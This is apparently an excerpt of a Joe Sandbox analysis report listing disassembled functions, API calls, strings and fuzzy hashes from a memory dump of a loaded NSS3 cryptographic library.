Part of subcall function 6C72BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6E04DC,?), ref: 6C72BE7E
Part of subcall function 6C72BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C72BEC2

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6E40DE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6E40F4
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6E4108
SECITEM_CopyItem_Util.NSS3(00000000,?,00000010), ref: 6C6E411A
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,000000C8), ref: 6C6E4137
SECITEM_CopyItem_Util.NSS3(00000000,-0000001C,-00000020), ref: 6C6E4150
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,-00000010,6C7FA1C8), ref: 6C6E417E
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,0000007C), ref: 6C6E4194
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C6E41A7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6E41B2
PK11_DestroyObject.NSS3(?,?), ref: 6C6E41D9
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6E41FC
SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6C7FA1A8), ref: 6C6E422D

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Util$Item_$Arena_$Copy$ArenaFree$AlgorithmEncodeError$Alloc_Value$AllocateCriticalDestroyEnterFindInitK11_LockObjectPoolPublicSectionTag_UnlockZfreecallocmemset
String ID:
API String ID: 912348568-0
Opcode ID: bd2e4d2bc697147888f6bb0cc1293d5864a0486ba29d329e55f6f0d3266c9ee9
Instruction ID: ff223957636404dcb195cd459e54df7297cc10063da9299e2aec43aba76e6961
Opcode Fuzzy Hash: bd2e4d2bc697147888f6bb0cc1293d5864a0486ba29d329e55f6f0d3266c9ee9
Instruction Fuzzy Hash: 215127B1A093006BFB109B759D49FB776DCDF6834CF04462AE85AC6F42FB71E5088266

Function 6C728E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6C728E01,00000000,6C729060,6C830B64), ref: 6C728E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6C728E01,00000000,6C729060,6C830B64), ref: 6C728E9E
PORT_ArenaAlloc_Util.NSS3(6C830B64,00000001,?,?,?,?,6C728E01,00000000,6C729060,6C830B64), ref: 6C728EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6C728E01,00000000,6C729060,6C830B64), ref: 6C728EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6C728E01,00000000,6C729060,6C830B64), ref: 6C728ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6C728E01,00000000,6C729060,6C830B64), ref: 6C728EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6C728E01), ref: 6C728EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C830B64,6C830B64), ref: 6C728F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6C728F3F

Part of subcall function 6C72A110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6C72A421,00000000,00000000,6C729826), ref: 6C72A136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C72904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6C728E76

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: 654a753b254c9916e315245d83f2464c7d54fac591506768d21b879b7400fafd
Instruction ID: cf9e8d12252bc5cf56a59ea136c4aaef2378b5d03d8a070073a0e98f0cf24a98
Opcode Fuzzy Hash: 654a753b254c9916e315245d83f2464c7d54fac591506768d21b879b7400fafd
Instruction Fuzzy Hash: EB61D6B1D0011AABDB20CF65CE44AAFB7B5FF98358F144528DC18A7700E736A915CBA0

Function 6C6D8E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6D8E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C6D8E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C6D8EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C8018D0,?), ref: 6C6D8F03
PR_CallOnce.NSS3(6C832AA4,6C7312D0), ref: 6C6D8F19
PL_FreeArenaPool.NSS3(?), ref: 6C6D8F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C6D8F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C6D8F65
PL_FinishArenaPool.NSS3(?), ref: 6C6D8FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6C6D8FFE
PR_CallOnce.NSS3(6C832AA4,6C7312D0), ref: 6C6D9012
PL_FreeArenaPool.NSS3(?), ref: 6C6D9024
PL_FinishArenaPool.NSS3(?), ref: 6C6D902C
PORT_DestroyCheapArena.NSS3(?), ref: 6C6D903E

Strings

security, xrefs: 6C6D8EE7

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 6a6d8c83164746dc4643fbc131d90ac0c583adcd4c02fe8a627779ceef537777
Instruction ID: 59aff0eec0d9a1e462dcce84f2333498b4d75bf3ac47007e7c0ac0e2f9a7a8b9
Opcode Fuzzy Hash: 6a6d8c83164746dc4643fbc131d90ac0c583adcd4c02fe8a627779ceef537777
Instruction Fuzzy Hash: 495168B2608300ABD7105A149D4DFAB73A8AB8975CF42182EF95887B51D731F909C7DB

Function 6C79CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C79CC7B), ref: 6C79CD7A

Part of subcall function 6C79CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6C70C1A8,?), ref: 6C79CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C79CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C79CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6C79CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C79CD8E

Part of subcall function 6C6C05C0: PR_EnterMonitor.NSS3 ref: 6C6C05D1
Part of subcall function 6C6C05C0: PR_ExitMonitor.NSS3 ref: 6C6C05EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6C79CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C79CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C79CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C79CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6C79CE48

Strings

getaddrinfo, xrefs: 6C79CD88, 6C79CDF9
ws2_32.dll, xrefs: 6C79CD75
freeaddrinfo, xrefs: 6C79CD9F, 6C79CE10
getnameinfo, xrefs: 6C79CDB2, 6C79CE23
wship6.dll, xrefs: 6C79CDE3

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 9750231929066d65eed31177f10ac451568809803078b00d8fa413d1353204ea
Instruction ID: 4d8037f2d50995797a792570edc81d88c5e9eef01ef6dd63efcb9240abe478fc
Opcode Fuzzy Hash: 9750231929066d65eed31177f10ac451568809803078b00d8fa413d1353204ea
Instruction Fuzzy Hash: DC119DE5F0252153EF216AB57F01AAA3858AB0314EF581934E80A96F11FB20C908C3FB

Function 6C7E1C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6C7E13BC,?,?,?,6C7E1193), ref: 6C7E1C6B
PR_NewLock.NSS3(?,6C7E1193), ref: 6C7E1C7E

Part of subcall function 6C7998D0: calloc.MOZGLUE(00000001,00000084,6C6C0936,00000001,?,6C6C102C), ref: 6C7998E5

PR_NewCondVar.NSS3(00000000,?,6C7E1193), ref: 6C7E1C91

Part of subcall function 6C6BBB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C6C21BC), ref: 6C6BBB8C

PR_NewCondVar.NSS3(00000000,?,?,6C7E1193), ref: 6C7E1CA7

Part of subcall function 6C6BBB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C6BBBEB
Part of subcall function 6C6BBB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C6BBBFB
Part of subcall function 6C6BBB80: GetLastError.KERNEL32 ref: 6C6BBC03
Part of subcall function 6C6BBB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C6BBC19
Part of subcall function 6C6BBB80: free.MOZGLUE(00000000), ref: 6C6BBC22

PR_NewCondVar.NSS3(00000000,?,?,?,6C7E1193), ref: 6C7E1CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6C7E1193), ref: 6C7E1CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6C7E1193), ref: 6C7E1CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6C7E1193), ref: 6C7E1D1A

Part of subcall function 6C799BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C6C1A48), ref: 6C799BB3
Part of subcall function 6C799BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C6C1A48), ref: 6C799BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6C7E1193), ref: 6C7E1D3D

Part of subcall function 6C77DD70: TlsGetValue.KERNEL32 ref: 6C77DD8C
Part of subcall function 6C77DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C77DDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6C7E1193), ref: 6C7E1D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6C7E1193), ref: 6C7E1D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6C7E1193), ref: 6C7E1D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6C7E1193), ref: 6C7E1D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6C7E1193), ref: 6C7E1D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6C7E1193), ref: 6C7E1D93
PR_DestroyLock.NSS3(00000000,?,?,6C7E1193), ref: 6C7E1D9F
free.MOZGLUE(00000000,?,6C7E1193), ref: 6C7E1DA8

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: f630a80f695a35403c30807b13bd74d9e3d3023ad0f7686907a1cdb56c1a4bad
Instruction ID: 5dbb88fd1c5e49e4c5924e383eb75d2f2ee62655f69f576bb3d4daea208b3072
Opcode Fuzzy Hash: f630a80f695a35403c30807b13bd74d9e3d3023ad0f7686907a1cdb56c1a4bad
Instruction Fuzzy Hash: BA31B9F2E007015FEB20DF65AD46A6776F4AF0665CB044539E84A87B42FB31E418CBE6

Function 6C6F5E60 Relevance: 24.8, APIs: 11, Strings: 3, Instructions: 348COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C6F5ECF
EnterCriticalSection.KERNEL32(?), ref: 6C6F5EE3
PR_Unlock.NSS3(?), ref: 6C6F5F0A
PK11_MakeIDFromPubKey.NSS3(00000014), ref: 6C6F5FB5

Strings

NSS_USE_DECODED_CKA_EC_POINT, xrefs: 6C6F61F4
S&ql, xrefs: 6C6F5E6C, 6C6F627F, 6C6F5F12
S&ql, xrefs: 6C6F62E3

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalEnterFromK11_MakeSectionUnlockValue
String ID: NSS_USE_DECODED_CKA_EC_POINT$S&ql$S&ql
API String ID: 2280678669-4186014243
Opcode ID: 72c1b951717a18e75794003407417a0da23bb92489bb81b4a556c8937809c271
Instruction ID: 38acd2468d2385ff470fa3a977a5f307294534a66ff32b7fef4c3750359b7ef5
Opcode Fuzzy Hash: 72c1b951717a18e75794003407417a0da23bb92489bb81b4a556c8937809c271
Instruction Fuzzy Hash: 8BF115B4A002158FDB54CF28C984B86BBF5FF09304F1582AAD8189F746E774EA85CF95

Function 6C740C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,tl), ref: 6C740C81

Part of subcall function 6C72BE30: SECOID_FindOID_Util.NSS3(6C6E311B,00000000,?,6C6E311B,?), ref: 6C72BE44

Part of subcall function 6C718500: SECOID_GetAlgorithmTag_Util.NSS3(6C7195DC,00000000,00000000,00000000,?,6C7195DC,00000000,00000000,?,6C6F7F4A,00000000,?,00000000,00000000), ref: 6C718517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C740CC4

Part of subcall function 6C72FAB0: free.MOZGLUE(?,-00000001,?,?,6C6CF673,00000000,00000000), ref: 6C72FAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C740CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6C740D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6C740D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6C740D7D
free.MOZGLUE(00000000), ref: 6C740DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C740DC1
free.MOZGLUE(00000000), ref: 6C740DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C740E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C740E0F

Part of subcall function 6C7195C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6C6F7F4A,00000000,?,00000000,00000000), ref: 6C7195E0
Part of subcall function 6C7195C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6C6F7F4A,00000000,?,00000000,00000000), ref: 6C7195F5
Part of subcall function 6C7195C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C719609
Part of subcall function 6C7195C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C71961D
Part of subcall function 6C7195C0: PK11_GetInternalSlot.NSS3 ref: 6C71970B
Part of subcall function 6C7195C0: PK11_FreeSymKey.NSS3(00000000), ref: 6C719756
Part of subcall function 6C7195C0: PK11_GetIVLength.NSS3(?), ref: 6C719767
Part of subcall function 6C7195C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6C71977E
Part of subcall function 6C7195C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C71978E

Strings

*,tl, xrefs: 6C740C69, 6C740DE0, 6C740C80, 6C740C8B, 6C740CAF
*,tl, xrefs: 6C740DCC
-$tl, xrefs: 6C740C64

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,tl$*,tl$-$tl
API String ID: 3136566230-1409675763
Opcode ID: be5233e6fc2d6eec491e6f7835f6879faf42ee8b095d7f16b03eec7002948ac8
Instruction ID: b2bd84c222c4b0e44298ff78163bea6d677950658e6dc062f103159e47ae3759
Opcode Fuzzy Hash: be5233e6fc2d6eec491e6f7835f6879faf42ee8b095d7f16b03eec7002948ac8
Instruction Fuzzy Hash: E341B2B1900255ABEB009F65DE4ABAF7674BF1530CF148034E9155BB41E735AA18CBE2

Function 6C735CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6C735EC0,00000000,?,?), ref: 6C735CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6C735CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C735CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C735D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6C735EC0,00000000,?,?), ref: 6C735D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6C735D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C735D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C735D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6C735D80

Strings

NSS_DEFAULT_DB_TYPE, xrefs: 6C735D1A
multiaccess:, xrefs: 6C735CB8
sql:, xrefs: 6C735CD1, 6C735D36
extern:, xrefs: 6C735CEA, 6C735D4B
dbm:, xrefs: 6C735D03, 6C735D60

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: 0a8cab48709fe1a86e4eb5bb55204cb12ef58c49ae06e77cd1f4009dac6a10e2
Instruction ID: 47ef46c3b6216047db1267e844878f7baefb3571fcde7f6ea26d8fb7cf3ccdc8
Opcode Fuzzy Hash: 0a8cab48709fe1a86e4eb5bb55204cb12ef58c49ae06e77cd1f4009dac6a10e2
Instruction Fuzzy Hash: C9313AE47113226BF7A21A24EE8EB2637A8BF0220CF141834ED9DD6B83E775D501C2D5

Function 6C736CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6C801DE0,?), ref: 6C736CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C736D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6C736D70
PORT_Alloc_Util.NSS3(00000480), ref: 6C736D82
DER_GetInteger_Util.NSS3(?), ref: 6C736DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C736DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6C736E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6C736F19
PK11_DigestBegin.NSS3(00000000), ref: 6C736F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6C736F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C737011
PK11_FreeSymKey.NSS3(00000000), ref: 6C737033
free.MOZGLUE(?), ref: 6C73703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6C737060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C737087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6C7370AF

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: e142f26a66f2f4340a5933210d8194c6b95adac10ec56080c81525d4832702cf
Instruction ID: 1ea1fffee8be31bee619a8259ce8974669ab5d5b98195d1cca20d21f197d9055
Opcode Fuzzy Hash: e142f26a66f2f4340a5933210d8194c6b95adac10ec56080c81525d4832702cf
Instruction Fuzzy Hash: E3A14BB15542219BEB009B24CE49B5B32A5FB8130CF249939E91CCBB83E775DA49C793

Function 6C6FAEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C6DAB95,00000000,?,00000000,00000000,00000000), ref: 6C6FAF25
EnterCriticalSection.KERNEL32(?,?,?,?,6C6DAB95,00000000,?,00000000,00000000,00000000), ref: 6C6FAF39
PR_Unlock.NSS3(?,?,?,6C6DAB95,00000000,?,00000000,00000000,00000000), ref: 6C6FAF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6C6DAB95,00000000,?,00000000,00000000,00000000), ref: 6C6FAF69
TlsGetValue.KERNEL32 ref: 6C6FB06B
EnterCriticalSection.KERNEL32(?), ref: 6C6FB083
PR_Unlock.NSS3(?), ref: 6C6FB0A4
TlsGetValue.KERNEL32 ref: 6C6FB0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6C6FB0D9
PR_Unlock.NSS3 ref: 6C6FB102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6FB151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6FB182

Part of subcall function 6C72FAB0: free.MOZGLUE(?,-00000001,?,?,6C6CF673,00000000,00000000), ref: 6C72FAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C6FB177

Part of subcall function 6C77C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C77C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6C6DAB95,00000000,?,00000000,00000000,00000000), ref: 6C6FB1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6C6DAB95,00000000,?,00000000,00000000,00000000), ref: 6C6FB1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6C6DAB95,00000000,?,00000000,00000000,00000000), ref: 6C6FB1C2

Part of subcall function 6C721560: TlsGetValue.KERNEL32(00000000,?,6C6F0844,?), ref: 6C72157A
